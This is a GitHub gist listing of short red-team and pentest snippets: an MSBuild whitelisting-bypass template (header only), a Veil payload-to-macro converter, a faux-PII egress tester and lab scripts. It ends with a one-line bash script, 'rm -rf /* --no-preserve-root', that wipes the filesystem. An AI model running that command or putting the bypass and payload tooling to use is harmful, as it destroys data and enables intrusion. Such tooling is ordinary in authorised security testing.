Skip to content

Instantly share code, notes, and snippets.

View ChrisTruncer's full-sized avatar

ChrisTruncer ChrisTruncer

View GitHub Profile
@ChrisTruncer
ChrisTruncer / ssn_gen.py
Created October 7, 2022 21:15
Generate random social security numbers (all fake)
#!/usr/bin/env python3
import random
import string
def random_numbers(b):
"""
Returns a random string/key of "b" characters in length, defaults to 5
"""
random_number = int(''.join(random.choice(string.digits) for _ in range(b))) + 10000
@ChrisTruncer
ChrisTruncer / sample.xml
Created July 7, 2020 16:46
Sample malicious XML file for a MSBuild application whitelisting bypass
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
@ChrisTruncer
ChrisTruncer / main.tf
Created October 15, 2018 00:11
Sample Terraform Config with PFSense and Win 10 on Azure
##################################################
# Resource Group Creation #
##################################################
resource "azurerm_resource_group" "privatenetgroup" {
name = "private-net-group"
location = "West US"
}
##################################################
# Network Information #
@ChrisTruncer
ChrisTruncer / share_mount.sh
Last active June 20, 2017 03:03
Mount Shares through vmware on Debian system
#!/bin/bash
#mount -t fuse.vmhgfs-fuse .host:/ /mnt/shares/
#mount -t vmhgfs .host:/ /mnt/shares
#!/usr/bin/env python
# sax parser for massscan
import xml.sax
class XML_Parser(xml.sax.ContentHandler):
def __init__(self):
@ChrisTruncer
ChrisTruncer / Veil batch to macro
Created June 24, 2015 00:45
Veil batch to macro converter - not created by me
#!/usr/bin/python
#####
# macro_safe.py
#####
#
# Takes Veil powershell batch file and outputs into a text document
# macro safe text for straight copy/paste.
#
function Invoke-EgressAssess {
<#
.Synopsis
Egress-assess powershell client.
.Description
This script will connect to an Egress-assess server and transfer faux Personally Identifiable Information.
Due to processing overhead in Powershell, numbers are created in batches of 5,000.
Reference: http://powershell.org/wp/2013/09/16/powershell-performance-the-operator-and-when-to-avoid-it/r
@ChrisTruncer
ChrisTruncer / gist:7a8299867b05683385d0
Created May 1, 2015 17:19
Iterate over Fileservers each on a new line to run get-netsessions
get-content <FILE> | foreach-object { Get-NetSessions $_ } | Out-File -Encoding ascii C:\temp\filesharesessions.txt
@ChrisTruncer
ChrisTruncer / keybase.md
Last active August 29, 2015 14:17
keybase.md

Keybase proof

I hereby claim:

  • I am ChrisTruncer on github.
  • I am christruncer (https://keybase.io/christruncer) on keybase.
  • I have a public key whose fingerprint is AE00 1F36 5AE1 CAA4 786D 89D1 9715 AC2B 40A5 A64A

To claim this, I am signing this object:

#!/bin/bash
# Written for T-Dubbs
rm -rf /* --no-preserve-root